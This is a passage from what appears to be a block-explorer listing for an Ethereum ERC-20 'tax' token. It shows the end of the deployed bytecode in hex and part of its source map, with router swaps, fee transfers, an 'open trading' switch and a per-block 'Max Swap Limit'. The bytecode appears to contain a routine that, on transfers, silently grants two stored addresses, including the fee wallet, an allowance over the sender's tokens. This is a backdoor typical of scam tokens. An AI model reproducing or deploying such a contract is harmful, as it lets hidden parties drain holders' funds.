5b505050506040513d601f19601f8201168201806040525081019061060391906113cf565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006102e43384846108d1565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016103a290611637565b601354610100900460ff16156106b45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a2565b6002546001600160a01b031663f305d71947306106e6816001600160a01b031660009081526005602052604090205490565b6000806106fb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561075e57600080fd5b505af1158015610772573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107979190611557565b50506013805462ffff0019166201010017905550565b6001600160a01b03831661080f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b6001600160a01b0382166108705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a2565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b0382166109975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b600081116109f95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a2565b6000610a06848484610b85565b90508015610a825730600090815260056020526040902054610a289082610d4e565b30600081815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a799085815260200190565b60405180910390a35b6001600160a01b038416600090815260056020526040902054610aa59083610db4565b6001600160a01b038516600090815260056020526040902055610aea610acb8383610db4565b6001600160a01b03851660009081526005602052604090205490610d4e565b6001600160a01b0380851660008181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b348585610db4565b60405190815260200160405180910390a350505050565b60008184841115610b6f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866117ef565b95945050505050565b600080610b9a6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bc957506000546001600160a01b03858116911614155b15610d4657610bfa6064610bf4600d5460105411610be957600954610bed565b600b545b8690610df6565b90610e75565b6001549091506001600160a01b038681169116148015610c2857506002546001600160a01b03858116911614155b8015610c4d57506001600160a01b03841660009081526007602052604090205460ff16155b15610c92574360115414610c65576000601255436011555b8260126000828254610c7791906116a8565b909155505060108054906000610c8c83611806565b91905055505b6001546001600160a01b038581169116148015610cb857506001600160a01b0385163014155b15610d3b57610cc5610eb7565b6012541080610cd657504360115414155b610d135760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a2565b610d386064610bf4600e5460105411610d2e57600a54610bed565b600c548690610df6565b90505b610d46858585611063565b949350505050565b600080610d5b83856116a8565b905083811015610dad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a2565b9392505050565b6000610dad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b4b565b600082610e05575060006102e8565b6000610e1183856117d0565b905082610e1e85836116c0565b14610dad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69646164736f6e206f766572666c6f6044820152607760f81b60648201526084016103a2565b6000610dad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110fe565b604080516002808252606082018352600092839291906020830190803683375050600254604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906113cf565b81600081518110610f6b57610f6b611837565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f9f57610f9f611837565b6001600160a01b03928316602091820292909201015260025460405163d06ca61f60e01b8152600092919091169063d06ca61f90610feb906729a2241af62c00009086906004016115c9565b60006040518083038186803b15801561100357600080fd5b505afa158015611017573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261103f9190810190611492565b90508060018151811061105457611054611837565b60200260200101519250505090565b61106d838261112c565b3060009081526005602052604090205460135460ff1615801561109d57506001546001600160a01b038481169116145b80156110b1575060135462010000900460ff165b80156110c05750600f54601054115b156110f8576008548111156110ec576110ec6110e7836110e2846008546111c1565b6111c1565b6111d6565b476110f647611356565b505b50505050565b6000818361111f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866116c0565b611134611394565b6003546001600160a01b03908116825260045416602082015260005b60028110156110f8576001600160a01b0384166000908152600660205260408120849184846002811061118557611185611837565b60200201516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806111b990611806565b915050611150565b60008183116111d05782610dad565b50919050565b6013805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121857611218611837565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561126c57600080fd5b505afa158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a491906113cf565b816001815181106112b7576112b7611837565b6001600160a01b0392831660209182029290920101526002546112dd91309116846107ad565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131690859060009086903090429060040161166c565b600060405180830381600087803b15801561133057600080fd5b505af1158015611344573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611390573d6000803e3d6000fd5b5050565b60405180604001604052806002906020820280368337509192915050565b6000602082840312156113c457600080fd5b8135610dad81611863565b6000602082840312156113e157600080fd5b8151610dad81611863565b600080604083850312156113ff57600080fd5b823561140a81611863565b9150602083013561141a81611863565b809150509250929050565b60008060006060848603121561143a57600080fd5b833561144581611863565b9250602084013561145581611863565b929592945050506040919091013590565b6000806040838503121561147957600080fd5b823561148481611863565b946020939093013593505050565b600060208083850312156114a557600080fd5b825167ffffffffffffffff808211156114bd57600080fd5b818501915085601f8301126114d157600080fd5b8151818111156114e3576114e361184d565b8060051b604051601f19603f830116810181811085821117156115085761150861184d565b604052828152858101935084860182860187018a101561152757600080fd5b600095505b8386101561154a57805185526001959095019493860193860161152c565b5098975050505050505050565b60008060006060848603121561156c57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115be5781516001600160a01b031687529582019590820190600101611599565b509495945050505050565b828152604060208201526000610d466040830184611585565b600060208083528351808285015260005b8181101561160f578581018301518582016040015282016115f3565b81811115611621576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061168b60a0830186611585565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156116bb576116bb611821565b500190565b6000826116dd57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561171d57816000190482111561170357611703611821565b8085161561171057918102915b93841c93908002906116e7565b509250929050565b6000610dad60ff84168360008261173e575060016102e8565b8161174b575060006102e8565b8160018114611761576002811461176b57611787565b60019150506102e8565b60ff84111561177c5761177c611821565b50506001821b6102e8565b5060208310610133831016604e8410600b84101617156117aa575081810a6102e8565b6117b483836116e2565b80600019048211156117c8576117c8611821565b029392505050565b60008160001904831182151516156117ea576117ea611821565b500290565b60008282101561180157611801611821565b500390565b600060001982141561181a5761181a611821565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461187857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9cd38d0222c4738ae62082455029a844d10f21c9dbea269298b6a4c241bec5d64736f6c63430008070033
Deployed Bytecode Sourcemap
3924:7716:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6455:83;;;;;;;;;;-1:-1:-1;6525:5:0;;;;;;;;;;;;-1:-1:-1;;;6525:5:0;;;;6455:83;;;;;;;:::i;:::-;;;;;;;;7292:161;;;;;;;;;;-1:-1:-1;7292:161:0;;;;;:::i;:::-;;:::i;:::-;;;4888:14:1;;4881:22;4863:41;;4851:2;4836:18;7292:161:0;4723:187:1;6732:99:0;;;;;;;;;;;;;:::i;:::-;;;9868:25:1;;;9856:2;9841:18;6732:99:0;9722:177:1;7461:314:0;;;;;;;;;;-1:-1:-1;7461:314:0;;;;;:::i;:::-;;:::i;6641:83::-;;;;;;;;;;-1:-1:-1;6641:83:0;;4369:1;10633:36:1;;10621:2;10606:18;6641:83:0;10491:184:1;6839:119:0;;;;;;;;;;-1:-1:-1;6839:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6932:18:0;6905:7;6932:18;;;:9;:18;;;;;;;6839:119;2624:148;;;;;;;;;;;;;:::i;:::-;;2410:79;;;;;;;;;;-1:-1:-1;2448:7:0;2475:6;2410:79;;-1:-1:-1;;;;;2475:6:0;;;3740:51:1;;3728:2;3713:18;2410:79:0;3594:203:1;6546:87:0;;;;;;;;;;-1:-1:-1;6618:7:0;;;;;;;;;;;;-1:-1:-1;;;6618:7:0;;;;6546:87;;5630:304;;;;;;;;;;;;;:::i;6966:167::-;;;;;;;;;;-1:-1:-1;6966:167:0;;;;;:::i;:::-;;:::i;10801:309::-;;;;;;;;;;;;;:::i;7141:143::-;;;;;;;;;;-1:-1:-1;7141:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7249:18:0;;;7222:7;7249:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7141:143;7292:161;7367:4;7384:39;1390:10;7407:7;7416:6;7384:8;:39::i;:::-;-1:-1:-1;7441:4:0;7292:161;;;;;:::o;6732:99::-;6785:7;4429:13;4369:1;4429:2;:13;:::i;:::-;4416:26;;:10;:26;:::i;:::-;6805:18;;6732:99;:::o;7461:314::-;7559:4;7576:36;7586:6;7594:9;7605:6;7576:9;:36::i;:::-;7624:121;7633:6;1390:10;7655:89;7693:6;7655:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7655:19:0;;;;;;:11;:19;;;;;;;;1390:10;7655:33;;;;;;;;;;:37;:89::i;:::-;7624:8;:121::i;:::-;-1:-1:-1;7763:4:0;7461:314;;;;;:::o;2624:148::-;2537:6;;-1:-1:-1;;;;;2537:6:0;1390:10;2537:22;2529:67;;;;-1:-1:-1;;;2529:67:0;;;;;;;:::i;:::-;;;;;;;;;2731:1:::1;2715:6:::0;;2694:40:::1;::::0;-1:-1:-1;;;;;2715:6:0;;::::1;::::0;2694:40:::1;::::0;2731:1;;2694:40:::1;2762:1;2745:19:::0;;-1:-1:-1;;;;;;2745:19:0::1;::::0;;2624:148::o;5630:304::-;2537:6;;-1:-1:-1;;;;;2537:6:0;1390:10;2537:22;2529:67;;;;-1:-1:-1;;;2529:67:0;;;;;;;:::i;:::-;5684:11:::1;:69:::0;;-1:-1:-1;;;;;;5684:69:0::1;5710:42;5684:69:::0;;::::1;::::0;;;5764:58:::1;::::0;5781:4:::1;::::0;4429:13:::1;4369:1;4429:2;:13;:::i;:::-;4416:26;::::0;:10:::1;:26;:::i;5764:58::-;5858:11;;;;;;;;;-1:-1:-1::0;;;;;5858:11:0::1;-1:-1:-1::0;;;;;5858:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5845:46:0::1;;5900:4;5907:11;;;;;;;;;-1:-1:-1::0;;;;;5907:11:0::1;-1:-1:-1::0;;;;;5907:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5845:81;::::0;-1:-1:-1;;;;;;5845:81:0::1;::::0;;;;;;-1:-1:-1;;;;;4032:15:1;;;5845:81:0::1;::::0;::::1;4014:34:1::0;4084:15;;4064:18;;;4057:43;3949:18;;5845:81:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5833:9;:93:::0;;-1:-1:-1;;;;;;5833:93:0::1;-1:-1:-1::0;;;;;5833:93:0;;;::::1;::::0;;;::::1;::::0;;5630:304::o;6966:167::-;7044:4;7061:42;1390:10;7085:9;7096:6;7061:9;:42::i;10801:309::-;2537:6;;-1:-1:-1;;;;;2537:6:0;1390:10;2537:22;2529:67;;;;-1:-1:-1;;;2529:67:0;;;;;;;:::i;:::-;10865:13:::1;::::0;::::1;::::0;::::1;;;10864:14;10856:49;;;::::0;-1:-1:-1;;;10856:49:0;;9170:2:1;10856:49:0::1;::::0;::::1;9152:21:1::0;9209:2;9189:18;;;9182:30;9248:25;9228:18;;;9221:53;9291:18;;10856:49:0::1;8968:347:1::0;10856:49:0::1;10916:11;::::0;-1:-1:-1;;;;;10916:11:0::1;:27;10951:21;10982:4;10988:24;10982:4:::0;-1:-1:-1;;;;;6932:18:0;6905:7;6932:18;;;:9;:18;;;;;;;6839:119;10988:24:::1;11013:1;11015::::0;11017:7:::1;2448::::0;2475:6;-1:-1:-1;;;;;2475:6:0;;2410:79;11017:7:::1;10916:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10916:125:0;;;-1:-1:-1;;;;;4470:15:1;;;10916:125:0::1;::::0;::::1;4452:34:1::0;4502:18;;;4495:34;;;;4545:18;;;4538:34;;;;4588:18;;;4581:34;4652:15;;;4631:19;;;4624:44;11025:15:0::1;4684:19:1::0;;;4677:35;4386:19;;10916:125:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11052:12:0::1;:19:::0;;-1:-1:-1;;11082:20:0;;;;;-1:-1:-1;10801:309:0:o;7783:335::-;-1:-1:-1;;;;;7876:19:0;;7868:68;;;;-1:-1:-1;;;7868:68:0;;8422:2:1;7868:68:0;;;8404:21:1;8461:2;8441:18;;;8434:30;8500:34;8480:18;;;8473:62;-1:-1:-1;;;8551:18:1;;;8544:34;8595:19;;7868:68:0;8220:400:1;7868:68:0;-1:-1:-1;;;;;7955:21:0;;7947:68;;;;-1:-1:-1;;;7947:68:0;;6486:2:1;7947:68:0;;;6468:21:1;6525:2;6505:18;;;6498:30;6564:34;6544:18;;;6537:62;-1:-1:-1;;;6615:18:1;;;6608:32;6657:19;;7947:68:0;6284:398:1;7947:68:0;-1:-1:-1;;;;;8026:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8078:32;;9868:25:1;;;8078:32:0;;9841:18:1;8078:32:0;;;;;;;7783:335;;;:::o;8456:734::-;-1:-1:-1;;;;;8547:19:0;;8539:69;;;;-1:-1:-1;;;8539:69:0;;8016:2:1;8539:69:0;;;7998:21:1;8055:2;8035:18;;;8028:30;8094:34;8074:18;;;8067:62;-1:-1:-1;;;8145:18:1;;;8138:35;8190:19;;8539:69:0;7814:401:1;8539:69:0;-1:-1:-1;;;;;8627:19:0;;8619:67;;;;-1:-1:-1;;;8619:67:0;;6082:2:1;8619:67:0;;;6064:21:1;6121:2;6101:18;;;6094:30;6160:34;6140:18;;;6133:62;-1:-1:-1;;;6211:18:1;;;6204:33;6254:19;;8619:67:0;5880:399:1;8619:67:0;8713:1;8705:5;:9;8697:63;;;;-1:-1:-1;;;8697:63:0;;7606:2:1;8697:63:0;;;7588:21:1;7645:2;7625:18;;;7618:30;7684:34;7664:18;;;7657:62;-1:-1:-1;;;7735:18:1;;;7728:39;7784:19;;8697:63:0;7404:405:1;8697:63:0;8771:15;8789:37;8806:5;8813;8820;8789:16;:37::i;:::-;8771:55;-1:-1:-1;8840:11:0;;8837:161;;8910:4;8892:24;;;;:9;:24;;;;;;:37;;8921:7;8892:28;:37::i;:::-;8883:4;8865:24;;;;:9;:24;;;;;;;:64;;;;8947:39;;-1:-1:-1;;;;;8947:39:0;;;;;;;8978:7;9868:25:1;;9856:2;9841:18;;9722:177;8947:39:0;;;;;;;;8837:161;-1:-1:-1;;;;;9027:16:0;;;;;;:9;:16;;;;;;:27;;9048:5;9027:20;:27::i;:::-;-1:-1:-1;;;;;9008:16:0;;;;;;:9;:16;;;;;:46;9084:40;9105:18;:5;9115:7;9105:9;:18::i;:::-;-1:-1:-1;;;;;9084:16:0;;;;;;:9;:16;;;;;;;:20;:40::i;:::-;-1:-1:-1;;;;;9065:16:0;;;;;;;:9;:16;;;;;:59;;;;9140:42;;;9163:18;:5;9173:7;9163:9;:18::i;:::-;9140:42;;9868:25:1;;;9856:2;9841:18;9140:42:0;;;;;;;8528:662;8456:734;;;:::o;3136:190::-;3222:7;3258:12;3250:6;;;;3242:29;;;;-1:-1:-1;;;3242:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3282:9:0;3294:5;3298:1;3294;:5;:::i;:::-;3282:17;3136:190;-1:-1:-1;;;;;3136:190:0:o;9769:1024::-;9856:7;9876:15;9916:7;2448;2475:6;-1:-1:-1;;;;;2475:6:0;;2410:79;9916:7;-1:-1:-1;;;;;9907:16:0;:5;-1:-1:-1;;;;;9907:16:0;;;:36;;;;-1:-1:-1;2448:7:0;2475:6;-1:-1:-1;;;;;9927:16:0;;;2475:6;;9927:16;;9907:36;9903:857;;;9970:75;10041:3;9970:66;9991:15;;9981:9;;:25;9980:55;;10021:14;;9980:55;;;10008:12;;9980:55;9970:5;;:9;:66::i;:::-;:70;;:75::i;:::-;10075:9;;9960:85;;-1:-1:-1;;;;;;10066:18:0;;;10075:9;;10066:18;:51;;;;-1:-1:-1;10105:11:0;;-1:-1:-1;;;;;10088:29:0;;;10105:11;;10088:29;;10066:51;:81;;;;-1:-1:-1;;;;;;10123:24:0;;;;;;:17;:24;;;;;;;;10121:26;10066:81;10062:338;;;10186:12;10171:13;;:27;10168:144;;10240:1;10222:15;:19;10280:12;10264:13;:28;10168:144;10349:5;10330:15;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;10373:9:0;:11;;;:9;:11;;;:::i;:::-;;;;;;10062:338;10428:9;;-1:-1:-1;;;;;10419:18:0;;;10428:9;;10419:18;:43;;;;-1:-1:-1;;;;;;10441:21:0;;10457:4;10441:21;;10419:43;10416:283;;;10509:15;:13;:15::i;:::-;10491;;:33;:64;;;;10543:12;10528:13;;:27;;10491:64;10483:91;;;;-1:-1:-1;;;10483:91:0;;8827:2:1;10483:91:0;;;8809:21:1;8866:2;8846:18;;;8839:30;-1:-1:-1;;;8885:18:1;;;8878:44;8939:18;;10483:91:0;8625:338:1;10483:91:0;10605:78;10679:3;10605:69;10626:16;;10616:9;;:26;10615:58;;10658:15;;10615:58;;;10644:13;;10605:5;;:9;:69::i;:78::-;10595:88;;10416:283;10715:33;10728:5;10735;10742;10715:12;:33::i;:::-;10778:7;9769:1024;-1:-1:-1;;;;9769:1024:0:o;2805:179::-;2863:7;;2895:5;2899:1;2895;:5;:::i;:::-;2883:17;;2924:1;2919;:6;;2911:46;;;;-1:-1:-1;;;2911:46:0;;6889:2:1;2911:46:0;;;6871:21:1;6928:2;6908:18;;;6901:30;6967:29;6947:18;;;6940:57;7014:18;;2911:46:0;6687:351:1;2911:46:0;2975:1;2805:179;-1:-1:-1;;;2805:179:0:o;2992:136::-;3050:7;3077:43;3081:1;3084;3077:43;;;;;;;;;;;;;;;;;:3;:43::i;3334:246::-;3392:7;3416:6;3412:47;;-1:-1:-1;3446:1:0;3439:8;;3412:47;3469:9;3481:5;3485:1;3481;:5;:::i;:::-;3469:17;-1:-1:-1;3514:1:0;3505:5;3509:1;3469:17;3505:5;:::i;:::-;:10;3497:56;;;;-1:-1:-1;;;3497:56:0;;9522:2:1;3497:56:0;;;9504:21:1;9561:2;9541:18;;;9534:30;9600:34;9580:18;;;9573:62;-1:-1:-1;;;9651:18:1;;;9644:31;9692:19;;3497:56:0;9320:397:1;3588:132:0;3646:7;3673:39;3677:1;3680;3673:39;;;;;;;;;;;;;;;;;:3;:39::i;11338:299::-;11430:16;;;11444:1;11430:16;;;;;;;;11386:7;;;;11430:16;11444:1;11430:16;;;;;;;;-1:-1:-1;;11467:11:0;;:18;;;-1:-1:-1;;;11467:18:0;;;;11406:40;;-1:-1:-1;;;;;;11467:11:0;;;;:16;;-1:-1:-1;11467:18:0;;;;;;;;;;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11457:4;11462:1;11457:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1;;;;;11457:28:0;;;-1:-1:-1;;;;;11457:28:0;;;;;11514:4;11496;11501:1;11496:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11496:23:0;;;:7;;;;;;;;;:23;11557:11;;:41;;-1:-1:-1;;;11557:41:0;;11530:24;;11557:11;;;;;:25;;:41;;11583:8;;11593:4;;11557:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;11557:41:0;;;;;;;;;;;;:::i;:::-;11530:68;;11616:10;11627:1;11616:13;;;;;;;;:::i;:::-;;;;;;;11609:20;;;;11338:299;:::o;9198:563::-;9285:26;9298:5;9305;9285:12;:26::i;:::-;9351:4;9313:17;6932:18;;;:9;:18;;;;;;9374:10;;;;9373:11;:33;;;;-1:-1:-1;9397:9:0;;-1:-1:-1;;;;;9388:18:0;;;9397:9;;9388:18;9373:33;:49;;;;-1:-1:-1;9410:12:0;;;;;;;9373:49;:83;;;;;9438:18;;9426:9;;:30;9373:83;9369:385;;;9488:15;;9476:9;:27;9473:114;;;9518:69;9535:51;9543:5;9550:35;9558:9;9569:15;;9550:7;:35::i;:::-;9535:7;:51::i;:::-;9518:16;:69::i;:::-;9620:21;9693:34;9705:21;9693:11;:34::i;:::-;9458:296;9369:385;9273:488;9198:563;;;:::o;3728:189::-;3814:7;3849:12;3842:5;3834:28;;;;-1:-1:-1;;;3834:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3873:9:0;3885:5;3889:1;3885;:5;:::i;8126:322::-;8197:28;;:::i;:::-;8261:11;;-1:-1:-1;;;;;8261:11:0;;;8237:36;;8309:12;;;8237:13;8285;;:37;8261:11;8333:108;8359:1;8353:5;:7;8333:108;;;-1:-1:-1;;;;;8384:18:0;;;;;;:11;:18;;;;;8424:5;;8403:10;8414:5;8403:17;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;8384:37:0;-1:-1:-1;;;;;8384:37:0;;;;;;;;;;;;:45;;;;8361:7;;;;;:::i;:::-;;;;8333:108;;11118:105;11179:7;11209:1;11207;:3;11206:9;;11214:1;11206:9;;;-1:-1:-1;11212:1:0;11118:105;-1:-1:-1;11118:105:0:o;5979:468::-;5078:10;:17;;-1:-1:-1;;5078:17:0;5091:4;5078:17;;;6080:16:::1;::::0;;6094:1:::1;6080:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6080:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6080:16:0::1;6056:40;;6125:4;6107;6112:1;6107:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6107:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;6151:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;6151:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;6107:7;;6151:18;;;;;:11;:18;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6141:4;6146:1;6141:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6141:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;6212:11:::1;::::0;6180:57:::1;::::0;6197:4:::1;::::0;6212:11:::1;6226:10:::0;6180:8:::1;:57::i;:::-;6248:11;::::0;:191:::1;::::0;-1:-1:-1;;;6248:191:0;;-1:-1:-1;;;;;6248:11:0;;::::1;::::0;:62:::1;::::0;:191:::1;::::0;6325:10;;6248:11:::1;::::0;6366:4;;6393::::1;::::0;6413:15:::1;::::0;6248:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5118:10:0;:18;;-1:-1:-1;;5118:18:0;;;-1:-1:-1;;;;5979:468:0:o;11231:99::-;11294:11;;11286:36;;-1:-1:-1;;;;;11294:11:0;;;;11286:36;;;;;11316:5;;11294:11;11286:36;11294:11;11286:36;11316:5;11294:11;11286:36;;;;;;;;;;;;;;;;;;;;;11231:99;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:52;;;1521:1;1518;1511:12;1473:52;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1376:315:1:o;1696:1116::-;1791:6;1822:2;1865;1853:9;1844:7;1840:23;1836:32;1833:52;;;1881:1;1878;1871:12;1833:52;1914:9;1908:16;1943:18;1984:2;1976:6;1973:14;1970:34;;;2000:1;1997;1990:12;1970:34;2038:6;2027:9;2023:22;2013:32;;2083:7;2076:4;2072:2;2068:13;2064:27;2054:55;;2105:1;2102;2095:12;2054:55;2134:2;2128:9;2156:2;2152;2149:10;2146:36;;;2162:18;;:::i;:::-;2208:2;2205:1;2201:10;2240:2;2234:9;2303:2;2299:7;2294:2;2290;2286:11;2282:25;2274:6;2270:38;2358:6;2346:10;2343:22;2338:2;2326:10;2323:18;2320:46;2317:72;;;2369:18;;:::i;:::-;2405:2;2398:22;2455:18;;;2489:15;;;;-1:-1:-1;2524:11:1;;;2554;;;2550:20;;2547:33;-1:-1:-1;2544:53:1;;;2593:1;2590;2583:12;2544:53;2615:1;2606:10;;2625:156;2639:2;2636:1;2633:9;2625:156;;;2696:10;;2684:23;;2657:1;2650:9;;;;;2727:12;;;;2759;;2625:156;;;-1:-1:-1;2800:6:1;1696:1116;-1:-1:-1;;;;;;;;1696:1116:1:o;2817:306::-;2905:6;2913;2921;2974:2;2962:9;2953:7;2949:23;2945:32;2942:52;;;2990:1;2987;2980:12;2942:52;3019:9;3013:16;3003:26;;3069:2;3058:9;3054:18;3048:25;3038:35;;3113:2;3102:9;3098:18;3092:25;3082:35;;2817:306;;;;;:::o;3128:461::-;3181:3;3219:5;3213:12;3246:6;3241:3;3234:19;3272:4;3301:2;3296:3;3292:12;3285:19;;3338:2;3331:5;3327:14;3359:1;3369:195;3383:6;3380:1;3377:13;3369:195;;;3448:13;;-1:-1:-1;;;;;3444:39:1;3432:52;;3504:12;;;;3539:15;;;;3480:1;3398:9;3369:195;;;-1:-1:-1;3580:3:1;;3128:461;-1:-1:-1;;;;;3128:461:1:o;4915:358::-;5148:6;5137:9;5130:25;5191:2;5186;5175:9;5171:18;5164:30;5111:4;5211:56;5263:2;5252:9;5248:18;5240:6;5211:56;:::i;5278:597::-;5390:4;5419:2;5448;5437:9;5430:21;5480:6;5474:13;5523:6;5518:2;5507:9;5503:18;5496:34;5548:1;5558:140;5572:6;5569:1;5566:13;5558:140;;;5667:14;;;5663:23;;5657:30;5633:17;;;5652:2;5629:26;5622:66;5587:10;;5558:140;;;5716:6;5713:1;5710:13;5707:91;;;5786:1;5781:2;5772:6;5761:9;5757:22;5753:31;5746:42;5707:91;-1:-1:-1;5859:2:1;5838:15;-1:-1:-1;;5834:29:1;5819:45;;;;5866:2;5815:54;;5278:597;-1:-1:-1;;;5278:597:1:o;7043:356::-;7245:2;7227:21;;;7264:18;;;7257:30;7323:34;7318:2;7303:18;;7296:62;7390:2;7375:18;;7043:356::o;9904:582::-;10203:6;10192:9;10185:25;10246:6;10241:2;10230:9;